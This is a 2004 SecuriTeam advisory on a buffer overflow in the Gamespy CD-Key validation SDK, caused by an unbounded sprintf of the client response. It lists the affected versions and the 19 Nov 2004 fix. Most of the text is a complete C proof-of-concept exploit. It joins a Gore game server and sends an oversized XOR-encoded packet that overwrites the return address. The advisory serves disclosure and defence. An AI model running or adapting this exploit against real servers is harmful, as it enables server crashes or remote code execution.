[NEWS] Gamespy SDK Cd-Key Validation Toolkit Buffer Overflow

From: SecuriTeam (support_at_securiteam.com)
Date: 12/13/04

  • Next message: SecuriTeam: "[UNIX] Multiple Vulnerabilities in MaxDB WebTools"
    To: list@securiteam.com
    Date: 13 Dec 2004 18:02:45 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      Gamespy SDK Cd-Key Validation Toolkit Buffer Overflow
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.gamespy.net/> Gamespy's CDKey validation toolkit is an SDK
    for games developers which enables them to easily implement online
    management of users and cd-key validation.

    The in-game CD-Key validation toolkit is prone to a buffer overflow under
    certain conditions outlined in the following advisory. This might lead to
    remote code execution on the target server.

    DETAILS

    Vulnerable Systems:
     * Any game which uses the SDK version prior to 19th November 2004

    Immune Systems:
     * Games with an updated Gamespy SDK from 19th Nov. onward

    The problem begins by an overly long reply sent by the game client to the
    game server. Typically there is no bounds checking on the returned client
    string and hence developers must place such a check themselves in order
    for their game not to be vulnerable. However, most games do not and just
    use the toolkit blindly.

    The string is passed to an sprintf() call in preparation of a query for
    validating the CD-Key:

        query_length = sprintf(
            query,
            "\\auth\\\\pid\\%d\\ch\\%s\\resp\\%s\\ip\\%d\\skey\\%d",
            pid, // product ID of the game
            ch, // server challenge
            resp, // client response <-- the cause of the bug!
            ip, // client IP address
            skey); // number to track the query

    An explanation of the authentication method used by the Gamespy CD-Key
    validation SDK is available here:
     <http://aluigi.altervista.org/papers/gskey-auth.txt>
    http://aluigi.altervista.org/papers/gskey-auth.txt

    The problem with the sprintf() call is that it allows for an arbitrary
    string length to be inserted in to the query. This might lead to
    overwriting of memory in such a manner that paves the way to remote code
    execution. The query is even XORed with the word "gamespy" in order to
    somehow obfuscate the format of the buffer. This countermeasure is of
    course simple and will fool a person looking at the raw data directly.

    The vulnerability is limited due to the following factors:
     * Since this bug is an in-game bug while building a query for CD-Key
    validation, the attacker must be a legitimate online user connected to the
    server.

     * The attacker must understand the game's online protocol in order to
    send the malformed reply which will trigger the buffer overflow. This is
    perhaps not always trivial and might require the use of a debugger.

     * If the developers of the game added special bounds checking code on the
    user string, thus protecting the toolkit, the buffer overflow would not be
    exploitable.

    Proof Of Concept
    Note: The PoC requires additional headers and source files in order to
    compile. Only the main code is listed below. For the rest, refer to the
    link.
    /*

    by Luigi Auriemma - http://aluigi.altervista.org/poc/goregsbof.zip

    */

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <time.h>
    #include "md5.h"

    #ifdef WIN32
        #include <winsock.h>
        #include "winerr.h"

        #define close closesocket
    #else
        #include <unistd.h>
        #include <sys/socket.h>
        #include <sys/types.h>
        #include <arpa/inet.h>
        #include <netinet/in.h>
        #include <netdb.h>
    #endif

    #define VER "0.1"
    #define BUFFSZ 2048
    #define PORT 27777
    #define TIMEOUT 3
    #define XORSEEK 3 /* "gamespy", \auth\\pid\302\ch\12345678\resp\ */
    #define EIP "\xde\xc0\xad\xde"

    #define SEND(x) if(sendto(sd, x, sizeof(x) - 1, 0, (struct sockaddr
    *)&peer, sizeof(peer)) \
                      < 0) std_err();

    #define RECV if(timeout(sd) < 0) { \
                        fputs("\n" \
                            "Error: socket timeout, no answer received\n" \
                            "\n", stdout); \
                        exit(1); \
                    } \
                    len = recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL); \
                    if(len < 0) std_err();

    void gamespy_xor(u_char *data, int len);
    void gs_info_udp(u_long ip, u_short port);
    void gore_pwd_md5(u_char *buff, u_char *pwd, int pwdlen);
    int timeout(int sock);
    u_long resolv(char *host);
    void std_err(void);

    int main(int argc, char *argv[]) {
        struct sockaddr_in peer;
        int sd,
                len;
        u_short port = PORT;
        u_char buff[BUFFSZ],
                p1[] =
                    "\x02\x00\x0F\x00"
                    "\x01" /* 1 = clear, 3 = password */
                    "\x00\x00\x00\x00\x00\x00\x00\x00", /* password */
                p2[] =
                    "\x0A\x00\x00\x00\x00\x00\x00\x00\x00",
                p3[] =
                    "\x01\x03\x00\x00\x01\x01\x01\x00\x00\x00\x8F\x02"
                    "\x49" /* hash size, don't modify! */
                    
    "0000000000000000000000000000000000000000000000000000000000000000"
                    
    "0000000000000000000000000000000000000000000000000000000000000000"
                    
    "0000000000000000000000000000000000000000000000000000000000000000"
                    
    "0000000000000000000000000000000000000000000000000000000000000000"
                    
    "0000000000000000000000000000000000000000000000000000000000000000"
                    
    "0000000000000000000000000000000000000000000000000000000000000000"
                    
    "0000000000000000000000000000000000000000000000000000000000000000"
                    "000000000000000000000000000000000"
                    EIP
                    "\0";

        setbuf(stdout, NULL);

        fputs("\n"
            "Gore <= 1.49 Gamespy cd-key SDK buffer-overflow "VER"\n"
            "by Luigi Auriemma\n"
            "e-mail: aluigi@autistici.org\n"
            "web: http://aluigi.altervista.org\n"
            "\n", stdout);

        if(argc < 2) {
            printf("\n"
                "Usage: %s <host> [port(%d)]\n"
                "\n"
                " The return address will be overwritten with 0x%08lx\n"
                "\n", argv[0], port, *(u_long *)EIP);
            exit(1);
        }

    #ifdef WIN32
        WSADATA wsadata;
        WSAStartup(MAKEWORD(1,0), &wsadata);
    #endif

        if(argc > 2) port = atoi(argv[2]);

        peer.sin_addr.s_addr = resolv(argv[1]);
        peer.sin_port = htons(port);
        peer.sin_family = AF_INET;

        printf("- target %s : %hu\n",
            inet_ntoa(peer.sin_addr), port);

        fputs("- request informations:\n", stdout);
        gs_info_udp(peer.sin_addr.s_addr, port);

        for(;;) { /* loop used for password only */
            sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
            if(sd < 0) std_err();

            fputs("- send first join packet\n", stdout);
            SEND(p1);
            RECV;

            if(buff[4] == 2) {
                fputs("\n- server full\n", stdout);
                break;
            } else if(buff[4] == 4) {
                fputs("\nInsert the password to join the server:\n ", stdout);
                fflush(stdin);
                fgets(buff, BUFFSZ - 1, stdin);
                len = strlen(buff) - 1;
                buff[len] = 0x00;
                p1[4] = 0x03;
                gore_pwd_md5(p1 + 5, buff, len);
                close(sd);
                continue;
            } else if(buff[4] != 1) {
                printf("\nError: unknown server error %d\n\n", buff[4]);
                exit(1);
            }

            fputs("- send second join packet\n", stdout);
            memcpy(p2 + 1, buff + 5, 8);
            SEND(p2);
            RECV;

            fputs("- encode hash (XOR \"gamespy\")\n", stdout);
            gamespy_xor(p3 + 13, sizeof(p3) - 14);

            printf("- send final packet containing the buffer-overflow data
    (EIP: 0x%08lx)\n",
                *(u_long *)EIP);
            SEND(p3);

            if(timeout(sd) < 0) {
                fputs("\nServer IS vulnerable!!!\n\n", stdout);
            } else {
                fputs("\nServer doesn't seem vulnerable\n\n", stdout);
                RECV;
                if(len > 9) {
                    printf(
                        "you have received the following error message from
    the server\n"
                        "\n"
                        " %s\n"
                        "\n", buff + 12);
                }
            }

            break;
        }

        close(sd);
        return(0);
    }

    void gamespy_xor(u_char *data, int len) {
        u_char gamespy[] = "gamespy",
                *gs;

        for(gs = gamespy + XORSEEK; len; len--, gs++, data++) {
            if(!*gs) gs = gamespy;
            *data ^= *gs;
        }
    }

    void gs_info_udp(u_long ip, u_short port) {
        struct sockaddr_in peer;
        int sd,
                len,
                nt = 1;
        u_char buff[2048],
                *p1,
                *p2;

        peer.sin_addr.s_addr = ip;
        peer.sin_port = htons(port);
        peer.sin_family = AF_INET;

        sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
        if(sd < 0) std_err();

        if(sendto(sd, "\\status\\", 8, 0, (struct sockaddr *)&peer,
    sizeof(peer))
          < 0) std_err();

        if(timeout(sd) < 0) {
            fputs("\nAlert: socket timeout, no replies received. Probably the
    server doesn't support the Gamespy query protocol or the port is
    wrong\n\n", stdout);
            close(sd);
            return;
        }

        len = recvfrom(sd, buff, sizeof(buff) - 1, 0, NULL, NULL);
        if(len < 0) std_err();

        buff[len] = 0x00;
        p1 = buff;
        while((p2 = strchr(p1, '\\'))) {
            *p2 = 0x00;

            if(!nt) {
                if(!*p1) break;
                printf("%30s: ", p1);
                nt++;
            } else {
                printf("%s\n", p1);
                nt = 0;
            }
            p1 = p2 + 1;
        }
        printf("%s\n\n", p1);
        close(sd);
    }

    void gore_pwd_md5(u_char *buff, u_char *pwd, int pwdlen) {
        md5_context md5t;
        static u_char md5h[16];

        md5_starts(&md5t);
        md5_update(&md5t, pwd, pwdlen);
        md5_finish(&md5t, md5h);

        memcpy(buff, md5h, 8);
    }

    int timeout(int sock) {
        struct timeval tout;
        fd_set fd_read;
        int err;

        tout.tv_sec = TIMEOUT;
        tout.tv_usec = 0;
        FD_ZERO(&fd_read);
        FD_SET(sock, &fd_read);
        err = select(sock + 1, &fd_read, NULL, NULL, &tout);
        if(err < 0) std_err();
        if(!err) return(-1);
        return(0);
    }

    u_long resolv(char *host) {
        struct hostent *hp;
        u_long host_ip;

        host_ip = inet_addr(host);
        if(host_ip == INADDR_NONE) {
            hp = gethostbyname(host);
            if(!hp) {
                printf("\nError: Unable to resolv hostname (%s)\n", host);
                exit(1);
            } else host_ip = *(u_long *)hp->h_addr;
        }
        return(host_ip);
    }

    #ifndef WIN32
        void std_err(void) {
            perror("\nError");
            exit(1);
        }
    #endif

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:aluigi@autistici.org> Luigi
    Auriemma.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[UNIX] Multiple Vulnerabilities in MaxDB WebTools"

    Relevant Pages

    • [NEWS] Serious Game Engine UDP DoS Vulnerability
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Note: The game engine is vulnerable on all supported platforms: Windows, ... of packets to the server, each representing the joining of a new player. ... int main{ ...
      (Securiteam)
    • [NT] Ghost Recon DoS
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... for the game "The sum of all fears" in the 2002. ... int main{ ... engine:\n", stdout); ...
      (Securiteam)
    • [NT] Soldier of Fortune II Broadcast Memory Corruption Bug
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... A denial of service attack is possible on the server when issuing a very ... The game is affected by a sprintfoverflow when handling a very big ... int main{ ...
      (Securiteam)
    • [NT] Remote DoS in Etherlords I and Etherlords II (Long Length Field)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Etherlords is a 3D turn based ... An unchecked buffer allows a remote user to crash game clients or the game ... int main{ ...
      (Securiteam)
    • [NEWS] Outgun Multiple Vulnerabilities (Multiple DoS, Multiple Buffer Overflows)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Multiple Buffer Overflows) ... The buffers in which the server stores these two strings have a size of 64 ... int alen, ulen; ...
      (Securiteam)